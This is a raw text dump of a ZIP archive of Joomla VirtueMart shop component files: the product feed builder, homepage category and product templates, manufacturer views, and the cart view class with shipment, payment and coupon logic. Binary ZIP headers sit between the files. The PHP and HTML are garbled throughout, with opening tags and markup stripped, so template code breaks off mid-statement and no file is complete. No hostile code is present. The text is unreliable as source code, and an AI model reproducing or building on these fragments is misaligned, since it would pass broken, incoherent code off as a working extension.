html_entity_decode ($title, ENT_COMPAT, 'UTF-8'); $description = ""; if ($feed_show_images == 1) { $effect = " "; $return = true; $withDescr = false; $absUrl = true; $description = $product->images[0]->displayMediaThumb ('style="margin-right: 10px; margin-bottom: 10px; float: left;"', false, $effect, $return, $withDescr, $absUrl); } if ($feed_show_description == 1) { if ($feed_description_type == 'product_s_desc') { $description .= $product->product_s_desc; } else { if ($feed_max_text_length > 0) { $description .= shopFunctionsF::limitStringByWord ($product->product_desc, $feed_max_text_length); } else { $description .= $product->product_desc; } } } if ($feed_show_prices == 1 and $show_prices == 1) { $description .= $currency->createPriceDiv ('variantModification', 'COM_VIRTUEMART_PRODUCT_VARIANT_MOD', $product->prices); if (round ($product->prices['basePriceWithTax'], $currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { $description .= '' . $currency->createPriceDiv ('basePriceWithTax', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX', $product->prices) . ""; } if (round ($product->prices['salesPriceWithDiscount'], $currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { $description .= $currency->createPriceDiv ('salesPriceWithDiscount', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT', $product->prices); } $description .= $currency->createPriceDiv ('salesPrice', 'COM_VIRTUEMART_PRODUCT_SALESPRICE', $product->prices); $description .= $currency->createPriceDiv ('priceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $product->prices); $description .= $currency->createPriceDiv ('discountAmount', 'COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT', $product->prices); $description .= $currency->createPriceDiv ('taxAmount', 'COM_VIRTUEMART_PRODUCT_TAX_AMOUNT', $product->prices); $unitPriceDescription = JText::sprintf ('COM_VIRTUEMART_PRODUCT_UNITPRICE', $product->product_unit); $description .= $currency->createPriceDiv ('unitPrice', $unitPriceDescription, $product->prices); } if ($feed_description_type == 'product_s_desc' OR $feed_max_text_length > 0) { $description .= '

          link) . '">' . JText::_ ('COM_VIRTUEMART_FEED_READMORE') . '

          '; } $item = new JFeedItem(); $item->title = $title; $item->link = $product->link; $item->date = $product->created_on; $item->description = '
          ' . $description . '
          '; $item->category = $product->virtuemart_catgory_id; $doc->addItem ($item); } } }PKtl>\8Rcom_virtuemart_update/components/com_virtuemart/views/virtuemart/tmpl/off_line.phpnuW+A\#o,,Pcom_virtuemart_update/components/com_virtuemart/views/virtuemart/tmpl/index.htmlnuW+APKtl>\)Ocom_virtuemart_update/components/com_virtuemart/views/virtuemart/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\pI\com_virtuemart_update/components/com_virtuemart/views/virtuemart/tmpl/default_categories.phpnuW+A

          categories as $category) { // Show the horizontal seperator if ($iCol == 1 && $iCategory > $categories_per_row) { ?>
          PKtl>\!ѸccZcom_virtuemart_update/components/com_virtuemart/views/virtuemart/tmpl/default_products.phpnuW+Aproducts as $type => $productList ) { // Calculating Products Per Row $products_per_row = VmConfig::get ( 'homepage_products_per_row', 3 ) ; $cellwidth = ' width'.floor ( 100 / $products_per_row ); // Category and Columns Counter $col = 1; $nb = 1; $productTitle = JText::_('COM_VIRTUEMART_'.$type.'_PRODUCT'); ?>

          $products_per_row) { ?>

          virtuemart_product_id . '&virtuemart_category_id=' . $product->virtuemart_category_id, FALSE ), $product->product_name, array ('title' => $product->product_name ) ); ?>

          images) { //echo JHTML::_ ( 'link', JRoute::_ ( 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $product->virtuemart_product_id . '&virtuemart_category_id=' . $product->virtuemart_category_id, FALSE ), $product->images[0]->displayMediaThumb( 'class="featuredProductImage"',true,'class="modal"' ) ); echo $product->images[0]->displayMediaThumb( 'class="featuredProductImage"',true,'class="modal"' ) ; } ?>
          product_unit && VmConfig::get('vm_price_show_packaging_pricelabel')) { // echo "". JText::_('COM_VIRTUEMART_CART_PRICE_PER_UNIT').' ('.$featProduct->product_unit."):"; // } else echo "". JText::_('COM_VIRTUEMART_CART_PRICE'). ": "; if ($this->showBasePrice) { echo $this->currency->createPriceDiv( 'basePrice', 'COM_VIRTUEMART_PRODUCT_BASEPRICE', $product->prices ); echo $this->currency->createPriceDiv( 'basePriceVariant', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT', $product->prices ); } echo $this->currency->createPriceDiv( 'variantModification', 'COM_VIRTUEMART_PRODUCT_VARIANT_MOD', $product->prices ); if (round($product->prices['basePriceWithTax'],$this->currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { echo '
          ' . $this->currency->createPriceDiv( 'basePriceWithTax', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX', $product->prices ) . "
          "; } if (round($product->prices['salesPriceWithDiscount'],$this->currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { echo $this->currency->createPriceDiv( 'salesPriceWithDiscount', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT', $product->prices ); } echo $this->currency->createPriceDiv( 'salesPrice', 'COM_VIRTUEMART_PRODUCT_SALESPRICE', $product->prices ); if ($product->prices['discountedPriceWithoutTax'] != $product->prices['priceWithoutTax']) { echo $this->currency->createPriceDiv( 'discountedPriceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $product->prices ); } else { echo $this->currency->createPriceDiv( 'priceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $product->prices ); } echo $this->currency->createPriceDiv( 'discountAmount', 'COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT', $product->prices ); echo $this->currency->createPriceDiv( 'taxAmount', 'COM_VIRTUEMART_PRODUCT_TAX_AMOUNT', $product->prices ); } ?>
          virtuemart_product_id . '&virtuemart_category_id=' . $product->virtuemart_category_id , FALSE), JText::_ ( 'COM_VIRTUEMART_PRODUCT_DETAILS' ), array ('title' => $product->product_name, 'class' => 'product-details' ) ); ?>
          \Yb{Qcom_virtuemart_update/components/com_virtuemart/views/virtuemart/tmpl/default.xmlnuW+A COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE PKtl>\pJQcom_virtuemart_update/components/com_virtuemart/views/virtuemart/tmpl/default.phpnuW+A vendor->vendor_store_desc) and VmConfig::get('show_store_desc', 1)) { ?>
          vendor->vendor_store_desc; ?>
          categories and VmConfig::get('show_categories', 1)) echo $this->loadTemplate('categories'); # Show template for : topten,Featured, Latest Products if selected in config BE if (!empty($this->products) ) { ?> loadTemplate('products'); } ?>PKtl>\{kNcom_virtuemart_update/components/com_virtuemart/views/virtuemart/view.html.phpnuW+AsetId(1); $vendor = $vendorModel->getVendor(); if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); if (VmConfig::get ('enable_content_plugin', 0)) { shopFunctionsF::triggerContentPlugin($vendor, 'vendor','vendor_store_desc'); shopFunctionsF::triggerContentPlugin($vendor, 'vendor','vendor_terms_of_service'); } $this->assignRef('vendor',$vendor); $document = JFactory::getDocument(); if(!VmConfig::get('shop_is_offline',0)){ $categoryModel = VmModel::getModel('category'); $productModel = VmModel::getModel('product'); $ratingModel = VmModel::getModel('ratings'); $productModel->withRating = $ratingModel->showRating(); $products = array(); $categoryId = JRequest::getInt('catid', 0); $categoryChildren = $categoryModel->getChildCategoryList($vendorId, $categoryId); $categoryModel->addImages($categoryChildren,1); $this->assignRef('categories', $categoryChildren); if(!class_exists('CurrencyDisplay'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); $currency = CurrencyDisplay::getInstance( ); $this->assignRef('currency', $currency); $products_per_row = VmConfig::get('homepage_products_per_row',3); $featured_products_rows = VmConfig::get('featured_products_rows',1); $featured_products_count = $products_per_row * $featured_products_rows; if (!empty($featured_products_count) and VmConfig::get('show_featured', 1)) { $products['featured'] = $productModel->getProductListing('featured', $featured_products_count); $productModel->addImages($products['featured'],1); } $latest_products_rows = VmConfig::get('latest_products_rows'); $latest_products_count = $products_per_row * $latest_products_rows; if (!empty($latest_products_count) and VmConfig::get('show_latest', 1)) { $products['latest']= $productModel->getProductListing('latest', $latest_products_count); $productModel->addImages($products['latest'],1); } $topTen_products_rows = VmConfig::get('topTen_products_rows'); $topTen_products_count = $products_per_row * $topTen_products_rows; if (!empty($topTen_products_count) and VmConfig::get('show_topTen', 1)) { $products['topten']= $productModel->getProductListing('topten', $topTen_products_count); $productModel->addImages($products['topten'],1); } $recent_products_rows = VmConfig::get('recent_products_rows'); $recent_products_count = $products_per_row * $recent_products_rows; $recent_products = $productModel->getProductListing('recent'); if (!empty($recent_products_count) and VmConfig::get('show_recent', 1) and !empty($recent_products)) { $products['recent']= $productModel->getProductListing('recent', $recent_products_count); $productModel->addImages($products['recent'],1); } $this->assignRef('products', $products); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $showBasePrice = Permissions::getInstance()->check('admin'); //todo add config settings $this->assignRef('showBasePrice', $showBasePrice); // $layoutName = VmConfig::get('vmlayout','default'); $layout = VmConfig::get('vmlayout','default'); $this->setLayout($layout); // Add feed links if ($products && (VmConfig::get('feed_featured_published', 0)==1 or VmConfig::get('feed_topten_published', 0)==1 or VmConfig::get('feed_latest_published', 0)==1)) { $link = '&format=feed&limitstart='; $attribs = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0'); $document->addHeadLink(JRoute::_($link . '&type=rss', FALSE), 'alternate', 'rel', $attribs); $attribs = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0'); $document->addHeadLink(JRoute::_($link . '&type=atom', FALSE), 'alternate', 'rel', $attribs); } } else { $this->setLayout('off_line'); } $error = JRequest::getInt('error',0); //Todo this may not work everytime as expected, because the error must be set in the redirect links. if(!empty($error)){ $document->setTitle(JText::_('COM_VIRTUEMART_PRODUCT_NOT_FOUND').JText::sprintf('COM_VIRTUEMART_HOME',$vendor->vendor_store_name)); } else { if(empty($vendor->customtitle)){ $app = JFactory::getApplication(); $menus = $app->getMenu(); $menu = $menus->getActive(); if ($menu){ $menuTitle = $menu->params->get('page_title'); if(empty($menuTitle)) { $menuTitle = JText::sprintf('COM_VIRTUEMART_HOME',$vendor->vendor_store_name); } $document->setTitle($menuTitle); } else { $title = JText::sprintf('COM_VIRTUEMART_HOME',$vendor->vendor_store_name); $document->setTitle($title); } } else { $document->setTitle($vendor->customtitle); } if(!empty($vendor->metadesc)) $document->setMetaData('description',$vendor->metadesc); if(!empty($vendor->metakey)) $document->setMetaData('keywords',$vendor->metakey); if(!empty($vendor->metarobot)) $document->setMetaData('robots',$vendor->metarobot); if(!empty($vendor->metaauthor)) $document->setMetaData('author',$vendor->metaauthor); } $template = VmConfig::get('vmtemplate',0); shopFunctionsF::setTemplate($template); parent::display($tpl); } } # pure php no closing tagPKtl>\#o,,Kcom_virtuemart_update/components/com_virtuemart/views/virtuemart/index.htmlnuW+APKtl>\)Jcom_virtuemart_update/components/com_virtuemart/views/virtuemart/.htaccessnuW+A Order allow,deny Deny from all PKtl>\ElRcom_virtuemart_update/components/com_virtuemart/views/manufacturer/tmpl/index.htmlnuW+A PKtl>\k&Scom_virtuemart_update/components/com_virtuemart/views/manufacturer/tmpl/default.xmlnuW+A COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE PKtl>\,R Scom_virtuemart_update/components/com_virtuemart/views/manufacturer/tmpl/default.phpnuW+A'; // Lets output the categories, if there are some if (!empty($this->manufacturers)) { ?>
          manufacturers as $manufacturer ) { // Show the horizontal seperator if ($iColumn == 1 && $iManufacturer > $manufacturerPerRow) { echo $horizontalSeparator; } // this is an indicator wether a row needs to be opened or not if ($iColumn == 1) { ?>
          virtuemart_manufacturer_id, FALSE); $manufacturerIncludedProductsURL = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_manufacturer_id=' . $manufacturer->virtuemart_manufacturer_id, FALSE); $manufacturerImage = $manufacturer->images[0]->displayMediaThumb("",false); // Show Category ?>
          '; $iColumn = 1; } else { $iColumn ++; } } // Do we need a final closing row tag? if ($iColumn != 1) { ?>
          PKtl>\)Qcom_virtuemart_update/components/com_virtuemart/views/manufacturer/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\ Z:)Scom_virtuemart_update/components/com_virtuemart/views/manufacturer/tmpl/details.xmlnuW+A COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE
          PKtl>\8  Scom_virtuemart_update/components/com_virtuemart/views/manufacturer/tmpl/details.phpnuW+A

          manufacturer->mf_name; ?>

          manufacturerImage)) { ?>
          manufacturerImage; ?>
          manufacturer->mf_email)) { ?>
          manufacturer->mf_email,true,JText::_('COM_VIRTUEMART_EMAIL'),false) ?>
          manufacturer->mf_url)) { ?>
          manufacturer->mf_desc)) { ?>
          manufacturer->mf_desc ?>
          manufacturer->virtuemart_manufacturer_id, FALSE); if(!empty($this->manufacturer->virtuemart_manufacturer_id)) { ?>
          PKtl>\Mcom_virtuemart_update/components/com_virtuemart/views/manufacturer/index.htmlnuW+APKtl>\ Pcom_virtuemart_update/components/com_virtuemart/views/manufacturer/view.html.phpnuW+AgetPathway(); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); $virtuemart_manufacturer_id = JRequest::getInt('virtuemart_manufacturer_id', 0); $mf_category_id = JRequest::getInt('mf_category_id', 0); // get necessary models $model = VmModel::getModel('manufacturer'); if ($virtuemart_manufacturer_id !=0 ) { $manufacturer = $model->getManufacturer(); $model->addImages($manufacturer,1); $manufacturerImage = $manufacturer->images[0]->displayMediaThumb('class="manufacturer-image"',false); if (VmConfig::get('enable_content_plugin', 0)) { if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); shopFunctionsF::triggerContentPlugin($manufacturer, 'manufacturer','mf_desc'); } $document->setTitle(JText::_('COM_VIRTUEMART_MANUFACTURER_DETAILS').' '.strip_tags($manufacturer->mf_name)); //added so that the canonical points to page with visible products thx to P2Peter $document->addHeadLink( JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_manufacturer_id='.$virtuemart_manufacturer_id, FALSE) , 'canonical', 'rel', '' ); $this->assignRef('manufacturerImage', $manufacturerImage); // $this->assignRef('manufacturerProductsURL', $manufacturerProductsURL); $this->assignRef('manufacturer', $manufacturer); $pathway->addItem(strip_tags($manufacturer->mf_name)); $this->setLayout('details'); // vmdebug('$manufacturer',$manufacturer); } else { $document->setTitle(JText::_('COM_VIRTUEMART_MANUFACTURER_PAGE')) ; $manufacturers = $model->getManufacturers(true, true, true); $model->addImages($manufacturers,1); $this->assignRef('manufacturers', $manufacturers); $this->setLayout('default'); } parent::display($tpl); } } // pure php no closing tag PKtl>\)Lcom_virtuemart_update/components/com_virtuemart/views/manufacturer/.htaccessnuW+A Order allow,deny Deny from all PKtl>\"Ocom_virtuemart_update/components/com_virtuemart/views/manufacturer/metadata.xmlnuW+A PKtl>\)Dcom_virtuemart_update/components/com_virtuemart/views/cart/.htaccessnuW+A Order allow,deny Deny from all PKtl>\s"q==Hcom_virtuemart_update/components/com_virtuemart/views/cart/view.html.phpnuW+AgetPathway(); $document = JFactory::getDocument(); $document->setMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); // add javascript for price and cart, need even for quantity buttons, so we need it almost anywhere //vmJsApi::jPrice(); $layoutName = $this->getLayout(); if (!$layoutName) $layoutName = JRequest::getWord('layout', 'default'); $this->assignRef('layoutName', $layoutName); $format = JRequest::getWord('format'); if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); //$cart->getCartPrices(); $this->assignRef('cart', $cart); //Why is this here, when we have view.raw.php if ($format == 'raw') { $cart->prepareCartViewData(); JRequest::setVar('layout', 'mini_cart'); $this->setLayout('mini_cart'); $this->prepareContinueLink(); } /* if($layoutName=='edit_coupon'){ $cart->prepareCartViewData(); $this->lSelectCoupon(); $pathway->addItem(JText::_('COM_VIRTUEMART_CART_OVERVIEW'),JRoute::_('index.php?option=com_virtuemart&view=cart')); $pathway->addItem(JText::_('COM_VIRTUEMART_CART_SELECTCOUPON')); $document->setTitle(JText::_('COM_VIRTUEMART_CART_SELECTCOUPON')); } else */ if ($layoutName == 'select_shipment') { $cart->prepareCartViewData(); if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $this->lSelectShipment(); $pathway->addItem(JText::_('COM_VIRTUEMART_CART_OVERVIEW'), JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE)); $pathway->addItem(JText::_('COM_VIRTUEMART_CART_SELECTSHIPMENT')); $document->setTitle(JText::_('COM_VIRTUEMART_CART_SELECTSHIPMENT')); } else if ($layoutName == 'select_payment') { /* Load the cart helper */ // $cartModel = VmModel::getModel('cart'); $cart->prepareCartViewData(); $this->lSelectPayment(); $pathway->addItem(JText::_('COM_VIRTUEMART_CART_OVERVIEW'), JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE)); $pathway->addItem(JText::_('COM_VIRTUEMART_CART_SELECTPAYMENT')); $document->setTitle(JText::_('COM_VIRTUEMART_CART_SELECTPAYMENT')); } else if ($layoutName == 'order_done') { VmConfig::loadJLang('com_virtuemart_shoppers', TRUE); $this->lOrderDone(); $pathway->addItem(JText::_('COM_VIRTUEMART_CART_THANKYOU')); $document->setTitle(JText::_('COM_VIRTUEMART_CART_THANKYOU')); } else if ($layoutName == 'default') { VmConfig::loadJLang('com_virtuemart_shoppers', TRUE); $cart->prepareCartViewData(); if (VmConfig::get('enable_content_plugin', 0)) { shopFunctionsF::triggerContentPlugin($cart->vendor, 'vendor','vendor_terms_of_service'); } $cart->prepareAddressRadioSelection(); $this->prepareContinueLink(); $this->lSelectCoupon(); if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currencyDisplay = CurrencyDisplay::getInstance($this->cart->pricesCurrency); $this->assignRef('currencyDisplay',$currencyDisplay); $totalInPaymentCurrency = $this->getTotalInPaymentCurrency(); $checkoutAdvertise =$this->getCheckoutAdvertise(); if (!$cart->_inCheckOut and !VmConfig::get('use_as_catalog', 0)) { $cart->checkout(false); } if ($cart->getDataValidated()) { $pathway->addItem(JText::_('COM_VIRTUEMART_ORDER_CONFIRM_MNU')); $document->setTitle(JText::_('COM_VIRTUEMART_ORDER_CONFIRM_MNU')); $text = JText::_('COM_VIRTUEMART_ORDER_CONFIRM_MNU'); $checkout_task = 'confirm'; } else { $pathway->addItem(JText::_('COM_VIRTUEMART_CART_OVERVIEW')); $document->setTitle(JText::_('COM_VIRTUEMART_CART_OVERVIEW')); $text = JText::_('COM_VIRTUEMART_CHECKOUT_TITLE'); $checkout_task = 'checkout'; } $this->assignRef('checkout_task', $checkout_task); if (VmConfig::get('oncheckout_opc', 1)) { if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $this->lSelectShipment(); $this->lSelectPayment(); } else { $this->checkPaymentMethodsConfigured(); $this->checkShipmentMethodsConfigured(); } if ($cart->virtuemart_shipmentmethod_id) { $shippingText = JText::_('COM_VIRTUEMART_CART_CHANGE_SHIPPING'); } else { $shippingText = JText::_('COM_VIRTUEMART_CART_EDIT_SHIPPING'); } $this->assignRef('select_shipment_text', $shippingText); if ($cart->virtuemart_paymentmethod_id) { $paymentText = JText::_('COM_VIRTUEMART_CART_CHANGE_PAYMENT'); } else { $paymentText = JText::_('COM_VIRTUEMART_CART_EDIT_PAYMENT'); } $this->assignRef('select_payment_text', $paymentText); if (!VmConfig::get('use_as_catalog')) { //$checkout_link_html = '' . $text . ''; $checkout_link_html = ''; } else { $checkout_link_html = ''; } $this->assignRef('checkout_link_html', $checkout_link_html); //set order language $lang = JFactory::getLanguage(); $order_language = $lang->getTag(); $this->assignRef('order_language',$order_language); } //dump ($cart,'cart'); $useSSL = VmConfig::get('useSSL', 0); $useXHTML = false; $this->assignRef('useSSL', $useSSL); $this->assignRef('useXHTML', $useXHTML); $this->assignRef('totalInPaymentCurrency', $totalInPaymentCurrency); $this->assignRef('checkoutAdvertise', $checkoutAdvertise); // @max: quicknirty $cart->setCartIntoSession(); shopFunctionsF::setVmTemplate($this, 0, 0, $layoutName); //We never want that the cart is indexed $document->setMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); // vmdebug('my cart ',$cart); parent::display($tpl); } private function prepareContinueLink() { // Get a continue link */ $virtuemart_category_id = shopFunctionsF::getLastVisitedCategoryId(); $categoryLink = ''; if ($virtuemart_category_id) { $categoryLink = '&virtuemart_category_id=' . $virtuemart_category_id; } $continue_link = JRoute::_('index.php?option=com_virtuemart&view=category' . $categoryLink, FALSE); $continue_link_html = '' . JText::_('COM_VIRTUEMART_CONTINUE_SHOPPING') . ''; $this->assignRef('continue_link_html', $continue_link_html); $this->assignRef('continue_link', $continue_link); } private function lSelectCoupon() { $this->couponCode = (isset($this->cart->couponCode) ? $this->cart->couponCode : ''); $coupon_text = $this->cart->couponCode ? JText::_('COM_VIRTUEMART_COUPON_CODE_CHANGE') : JText::_('COM_VIRTUEMART_COUPON_CODE_ENTER'); $this->assignRef('coupon_text', $coupon_text); } /* * lSelectShipment * find al shipment rates available for this cart * * @author Valerie Isaksen */ private function lSelectShipment() { $found_shipment_method=false; $shipment_not_found_text = JText::_('COM_VIRTUEMART_CART_NO_SHIPPING_METHOD_PUBLIC'); $this->assignRef('shipment_not_found_text', $shipment_not_found_text); $this->assignRef('found_shipment_method', $found_shipment_method); $shipments_shipment_rates=array(); if (!$this->checkShipmentMethodsConfigured()) { $this->assignRef('shipments_shipment_rates',$shipments_shipment_rates); return; } $selectedShipment = (empty($this->cart->virtuemart_shipmentmethod_id) ? 0 : $this->cart->virtuemart_shipmentmethod_id); $shipments_shipment_rates = array(); if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmDisplayListFEShipment', array( $this->cart, $selectedShipment, &$shipments_shipment_rates)); // if no shipment rate defined $found_shipment_method =count($shipments_shipment_rates); if ($found_shipment_method== 0 AND empty($this->cart->BT)) { $redirectMsg = JText::_('COM_VIRTUEMART_CART_ENTER_ADDRESS_FIRST'); $this->cart->setShipment(0); if (VmConfig::get('oncheckout_opc', 1)) { vmInfo($redirectMsg); } else { $mainframe = JFactory::getApplication(); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=BT'), $redirectMsg); } } else { } $shipment_not_found_text = JText::_('COM_VIRTUEMART_CART_NO_SHIPPING_METHOD_PUBLIC'); $this->assignRef('shipment_not_found_text', $shipment_not_found_text); $this->assignRef('shipments_shipment_rates', $shipments_shipment_rates); $this->assignRef('found_shipment_method', $found_shipment_method); return; } /* * lSelectPayment * find al payment available for this cart * * @author Valerie Isaksen */ private function lSelectPayment() { $payment_not_found_text=''; $this->assignRef('payment_not_found_text', $payment_not_found_text); $paymentplugins_payments = array(); $this->assignRef('paymentplugins_payments', $paymentplugins_payments); if (!$found_payment_method = $this->checkPaymentMethodsConfigured()) { //return false; } else { $selectedPayment = empty($this->cart->virtuemart_paymentmethod_id) ? 0 : $this->cart->virtuemart_paymentmethod_id; if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmDisplayListFEPayment', array($this->cart, $selectedPayment, &$paymentplugins_payments)); // if no payment defined $found_payment_method =count($paymentplugins_payments); } $this->assignRef('found_payment_method', $found_payment_method); if (!$found_payment_method) { $link=''; // todo $payment_not_found_text = JText::sprintf('COM_VIRTUEMART_CART_NO_PAYMENT_METHOD_PUBLIC', ''.$link.''); $this->assignRef('payment_not_found_text', $payment_not_found_text); $this->cart->setPaymentMethod(0); } else if ($found_payment_method== 0 AND empty($this->cart->BT)) { $redirectMsg = JText::_('COM_VIRTUEMART_CART_ENTER_ADDRESS_FIRST'); if (VmConfig::get('oncheckout_opc', 1)) { vmInfo($redirectMsg); } else { $mainframe = JFactory::getApplication(); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=BT'), $redirectMsg); } } else { } } private function getTotalInPaymentCurrency() { if (empty($this->cart->virtuemart_paymentmethod_id)) { return null; } if (!$this->cart->paymentCurrency or ($this->cart->paymentCurrency==$this->cart->pricesCurrency)) { return null; } $paymentCurrency = CurrencyDisplay::getInstance($this->cart->paymentCurrency); $totalInPaymentCurrency = $paymentCurrency->priceDisplay( $this->cart->pricesUnformatted['billTotal'],$this->cart->paymentCurrency) ; $currencyDisplay = CurrencyDisplay::getInstance($this->cart->pricesCurrency); // $this->assignRef('currencyDisplay',$currencyDisplay); return $totalInPaymentCurrency; } /* * Trigger to place Coupon, payment, shipment advertisement on the cart */ private function getCheckoutAdvertise() { $checkoutAdvertise=array(); JPluginHelper::importPlugin('vmcoupon'); JPluginHelper::importPlugin('vmpayment'); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnCheckoutAdvertise', array( $this->cart, &$checkoutAdvertise)); return $checkoutAdvertise; } private function lOrderDone() { $display_title = vRequest::getBool('display_title',true); $this->assignRef('display_title', $display_title); $this->html = vRequest::get('html', JText::_('COM_VIRTUEMART_ORDER_PROCESSED') ); //Show Thank you page or error due payment plugins like paypal express } private function checkPaymentMethodsConfigured() { //For the selection of the payment method we need the total amount to pay. $paymentModel = VmModel::getModel('Paymentmethod'); $this->payments = $paymentModel->getPayments(true, false); //vmdebug('checkPaymentMethodsConfigured',$this->payments); if (empty($this->payments)) { $text = ''; if (!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if (Permissions::getInstance()->check("admin,storeadmin")) { $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=paymentmethod'; $text = JText::sprintf('COM_VIRTUEMART_NO_PAYMENT_METHODS_CONFIGURED_LINK', '' . $link . ''); } vmInfo('COM_VIRTUEMART_NO_PAYMENT_METHODS_CONFIGURED', $text); $tmp = 0; $this->assignRef('found_payment_method', $tmp); $this->cart->virtuemart_paymentmethod_id = 0; return false; } return true; } private function checkShipmentMethodsConfigured() { //For the selection of the shipment method we need the total amount to pay. $shipmentModel = VmModel::getModel('Shipmentmethod'); $shipments = $shipmentModel->getShipments(); //vmdebug('checkShipmentMethodsConfigured',$shipments); if (empty($shipments)) { $text = ''; if (!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if (Permissions::getInstance()->check("admin,storeadmin")) { $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=shipmentmethod'; $text = JText::sprintf('COM_VIRTUEMART_NO_SHIPPING_METHODS_CONFIGURED_LINK', '' . $link . ''); } vmInfo('COM_VIRTUEMART_NO_SHIPPING_METHODS_CONFIGURED', $text); $tmp = 0; $this->assignRef('found_shipment_method', $tmp); $this->cart->virtuemart_shipmentmethod_id = 0; return false; } return true; } function getUserList() { $db = JFactory::getDbo(); $q = 'SELECT * FROM #__users ORDER BY name'; $db->setQuery($q); $result = $db->loadObjectList(); foreach($result as $user) { $user->displayedName = $user->name .'  ( '. $user->username .' )'; } return $result; } } //no closing tag PKtl>\bv;I;IUcom_virtuemart_update/components/com_virtuemart/views/cart/tmpl/default_pricelist.phpnuW+A
          cart->BTaddress['fields'] as $item) { if (!empty($item['value'])) { if ($item['name'] === 'agreed') { $item['value'] = ($item['value'] === 0) ? JText::_ ('COM_VIRTUEMART_USER_FORM_BILLTO_TOS_NO') : JText::_ ('COM_VIRTUEMART_USER_FORM_BILLTO_TOS_YES'); } ?> escape ($item['value']) ?>
          cart->STaddress['fields'])) { echo JText::sprintf ('COM_VIRTUEMART_USER_FORM_EDIT_BILLTO_EXPLAIN', JText::_ ('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL')); } else { if (!class_exists ('VmHtml')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } echo JText::_ ('COM_VIRTUEMART_USER_FORM_ST_SAME_AS_BT'); echo VmHtml::checkbox ('STsameAsBTjs', $this->cart->STsameAsBT) . '
          '; ?>
          cart->STaddress['fields'] as $item) { if (!empty($item['value'])) { ?> escape ($item['value']) ?> escape ($item['value']) ?>
          cart->lists['current_id'])) { $this->cart->lists['current_id'] = 0; } ?>
          cart->products',$this->cart->products); foreach ($this->cart->products as $pkey => $prow) { ?> cart->cartData['DBTaxRulesBill'] as $rule) { ?> cart->cartData['taxRulesBill'] as $rule) { ?> cart->cartData['DATaxRulesBill'] as $rule) { ?> cart->automaticSelectedShipment) { ?> */ ?> cart->pricesUnformatted['salesPrice']>0.0 ) { ?> cart->automaticSelectedPayment) { ?> totalInPaymentCurrency) { ?>
          / " . JText::_ ('COM_VIRTUEMART_CART_SUBTOTAL_TAX_AMOUNT') . '' ?> " . JText::_ ('COM_VIRTUEMART_CART_SUBTOTAL_DISCOUNT_AMOUNT') . '' ?>
